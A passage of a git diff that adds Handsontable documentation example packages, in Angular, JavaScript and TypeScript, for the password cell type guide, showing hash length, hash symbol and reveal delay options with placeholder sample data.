\"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example2-password-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n {\n id: 1,\n name: { first: 'Chris', last: 'Right' },\n password: 'plainTextPassword',\n },\n { id: 2, name: { first: 'John', last: 'Honest' }, password: 'txt' },\n { id: 3, name: { first: 'Greg', last: 'Well' }, password: 'longer' },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['ID', 'First name', 'Last name', 'Password'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'password', type: 'password', hashLength: 10 },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/password-cell-type/angular/example2.ts","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example2","exampleTitle":"Fixed hash length","docPermalink":"/password-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__angular__example3.ts.json new file mode 100644 index 00000000..d88c7b16 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Password cell type · Custom hash symbol · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example3-password-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n\n readonly data = [\n {\n id: 1,\n name: { first: 'Chris', last: 'Right' },\n password: 'plainTextPassword',\n },\n { id: 2, name: { first: 'John', last: 'Honest' }, password: 'txt' },\n { id: 3, name: { first: 'Greg', last: 'Well' }, password: 'longer' },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['ID', 'First name', 'Last name', 'Password'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'password', type: 'password', hashSymbol: '■' },\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/password-cell-type/angular/example3.ts","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example3","exampleTitle":"Custom hash symbol","docPermalink":"/password-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__angular__example4.ts.json new file mode 100644 index 00000000..1a6d31df --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__angular__example4.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Password cell type · Reveal delay · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example4-password-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
    \n \n
    `,\n})\nexport class AppComponent {\n readonly data = [\n { id: 1, name: { first: 'Chris', last: 'Right' }, password: 'plainTextPassword' },\n { id: 2, name: { first: 'John', last: 'Honest' }, password: 'txt' },\n { id: 3, name: { first: 'Greg', last: 'Well' }, password: 'longer' },\n ];\n\n readonly gridSettings: GridSettings = {\n colHeaders: ['ID', 'First name', 'Last name', 'Password'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'password', type: 'password', hashRevealDelay: 1000 },\n ],\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/password-cell-type/angular/example4.ts","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example4","exampleTitle":"Reveal delay","docPermalink":"/password-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example1.js.json new file mode 100644 index 00000000..d0d5973b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Password cell type · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\n\nnew Handsontable(container, {\n data: [\n {\n id: 1,\n name: { first: 'Chris', last: 'Right' },\n password: 'plainTextPassword',\n },\n { id: 2, name: { first: 'John', last: 'Honest' }, password: 'txt' },\n { id: 3, name: { first: 'Greg', last: 'Well' }, password: 'longer' },\n ],\n colHeaders: ['ID', 'First name', 'Last name', 'Password'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [{ data: 'id' }, { data: 'name.first' }, { data: 'name.last' }, { data: 'password', type: 'password' }],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/password-cell-type/javascript/example1.js","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/password-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example1.ts.json new file mode 100644 index 00000000..a9880080 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Password cell type · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nnew Handsontable(container, {\n data: [\n {\n id: 1,\n name: { first: 'Chris', last: 'Right' },\n password: 'plainTextPassword',\n },\n { id: 2, name: { first: 'John', last: 'Honest' }, password: 'txt' },\n { id: 3, name: { first: 'Greg', last: 'Well' }, password: 'longer' },\n ],\n colHeaders: ['ID', 'First name', 'Last name', 'Password'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [{ data: 'id' }, { data: 'name.first' }, { data: 'name.last' }, { data: 'password', type: 'password' }],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/password-cell-type/javascript/example1.ts","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/password-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example2.js.json new file mode 100644 index 00000000..135f2ebf --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Password cell type · Fixed hash length · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\n\nnew Handsontable(container, {\n data: [\n {\n id: 1,\n name: { first: 'Chris', last: 'Right' },\n password: 'plainTextPassword',\n },\n { id: 2, name: { first: 'John', last: 'Honest' }, password: 'txt' },\n { id: 3, name: { first: 'Greg', last: 'Well' }, password: 'longer' },\n ],\n colHeaders: ['ID', 'First name', 'Last name', 'Password'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'password', type: 'password', hashLength: 10 },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/password-cell-type/javascript/example2.js","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example2","exampleTitle":"Fixed hash length","docPermalink":"/password-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example2.ts.json new file mode 100644 index 00000000..88ac1436 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Password cell type · Fixed hash length · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nnew Handsontable(container, {\n data: [\n {\n id: 1,\n name: { first: 'Chris', last: 'Right' },\n password: 'plainTextPassword',\n },\n { id: 2, name: { first: 'John', last: 'Honest' }, password: 'txt' },\n { id: 3, name: { first: 'Greg', last: 'Well' }, password: 'longer' },\n ],\n colHeaders: ['ID', 'First name', 'Last name', 'Password'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'password', type: 'password', hashLength: 10 },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/password-cell-type/javascript/example2.ts","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example2","exampleTitle":"Fixed hash length","docPermalink":"/password-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example3.js.json new file mode 100644 index 00000000..d9954528 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Password cell type · Custom hash symbol · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n data: [\n {\n id: 1,\n name: { first: 'Chris', last: 'Right' },\n password: 'plainTextPassword',\n },\n { id: 2, name: { first: 'John', last: 'Honest' }, password: 'txt' },\n { id: 3, name: { first: 'Greg', last: 'Well' }, password: 'longer' },\n ],\n colHeaders: ['ID', 'First name', 'Last name', 'Password'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'password', type: 'password', hashSymbol: '■' },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/password-cell-type/javascript/example3.js","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example3","exampleTitle":"Custom hash symbol","docPermalink":"/password-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example3.ts.json new file mode 100644 index 00000000..13de90e0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__password-cell-type__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Password cell type · Custom hash symbol · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n data: [\n {\n id: 1,\n name: { first: 'Chris', last: 'Right' },\n password: 'plainTextPassword',\n },\n { id: 2, name: { first: 'John', last: 'Honest' }, password: 'txt' },\n { id: 3, name: { first: 'Greg', last: 'Well' }, password: 'longer' },\n ],\n colHeaders: ['ID', 'First name', 'Last name', 'Password'],\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'password', type: 'password', hashSymbol: '■' },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/password-cell-type/javascript/example3.ts","breadcrumb":["Cell Types","Password cell type"],"guide":"guides/cell-types/password-cell-type/password-cell-type.md","guideTitle":"Password cell type","exampleId":"example3","exampleTitle":"Custom hash 